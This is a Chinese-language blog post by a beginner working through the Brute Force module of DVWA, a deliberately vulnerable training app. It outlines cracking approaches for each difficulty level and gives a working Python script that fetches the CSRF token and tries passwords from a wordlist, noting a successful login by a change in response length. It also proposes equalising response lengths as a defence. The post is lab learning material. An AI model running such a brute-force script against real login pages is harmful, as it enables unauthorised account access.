Brute Force 暴力破解丨DVWA

开篇废话

大家好!我是“半年更作者”小费。。上一篇博文好像又是半年多之前的事了,而且说持续更新ing好像也并没有实现。

最近的情况呢就是好不容易憋完了自己人生中的第一篇英文论文,现在终于有时间学习一下心心念好久的网络安全技能啦!跟着网上买的课程开始钻研Damn Vulnerable Web Application(DVWA),这个东西主要是提供一些常见的Web安全漏洞,在虚拟环境下供网络安全小白学习用的。这几天研究了一下,嘿!感觉还挺有意思的!于是想把学习过程中的一些思考放在这里,和大家分享~


Brute Froce

暴力破解模块是提供给用户两个输入框,“Username”和“Password”,用户通过暴力测试获得真实的密码。在DVWA中,每个模块被分为四个难度等级:Low、Medium、High、Impossible。

Low Level 中,源代码中没有任何防御措施,所以用户只要通过最简单的暴力破解即可完成任务;
Medium Level 中,源代码加入了计时功能,即相邻两次登陆间会间隔数秒;
High Level 中,加入了Token认证;
Impossible Level,则把这种验证放到了服务器端,所以导致几乎不能破解。


破解思路

基于以上分析,破解思路就显而易见咯。

Low Level:使用抓包软件 Burp Suite (操作步骤暂不赘述)设置代理,通过修改本机发给服务器的请求来达到破解目的。速度快慢取决于密码本的质量。

Medium Level:可能由于DVWA中设置的间隔时间较短,所以我学习课程中的老师并没有对此进行额外操作,只是使用了与上一个方法相同的方式进行破解,不过我觉得可能可以通过并行的方式来欺骗服务器从而提升破解速度

High Level:每次进入登陆页面时,服务器都会返回一个Token,而我们在继续登陆暴力破解模块时,需要将此Token一起提交,于是我们便可以通过python来模拟发送请求来达到破解的目的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from bs4 import BeautifulSoup
import requests

header = {
    'User-Agent': 'USER-AGENT',
    'Cookie': 'COOKIE'
}
url = "http://IPaddr/dvwa/vulnerabilities/brute/index.php"

def get_token(url, header):
    r = requests.get(url, headers=header)
    html = r.content.decode()
    soup = BeautifulSoup(html, "html.parser")
    user_token = soup.find_all('input')[3]['value'] # 获取Token
    return user_token

if __name__ == '__main__':
    u = get_token(url, header)
    i = 0
    for line in open('pass.txt'):
        pwd = line.strip()
        user = 'admin'
        payload = {'username': user, 'password': pwd, 'Login': 'Login', 'user_token': u}
        response = requests.get(url, params=payload, headers=header)
        res_len_b = len(response.content.decode())
                # 格式化输出
        if i != 0 and res_len_b != res_len_a:
            print("%-3s %-6s %-10s %-8s" % (i + 1, user, pwd, res_len_b))
            break
        print("%-3s %-6s %-10s %-8s" % (i + 1, user, pwd, res_len_b))
        res_len_a = res_len_b
        u = get_token(url, header)
        i += 1

Impossible Level:据说完全不能破解,可能吧,再议!


防御措施

一些高级的防御方法我目前的“功力”暂时还想不到,说点简单的吧。

前两个低等级对正确账号密码的判定,是根据 Burp Suite 抓到响应包的长度来进行的。也就是说,登陆成功与登陆失败返回的响应包长度不等,所以在所有结果中,找到独一无二的响应包长度即可。

基于此,我们在设计网站时,可以通过调整响应内容来让响应包的长度相等,这就能在一定程度上防御这种暴力破解行为。


总结

暴力破解作为最原始、最“低效”的渗透方法,我个人认为它在未来的作用将很低,不过对于我这种网安小白来说,通过这个入门还是很开心滴!

继续前行吧~



Leave a Reply

Your email address will not be published. Required fields are marked *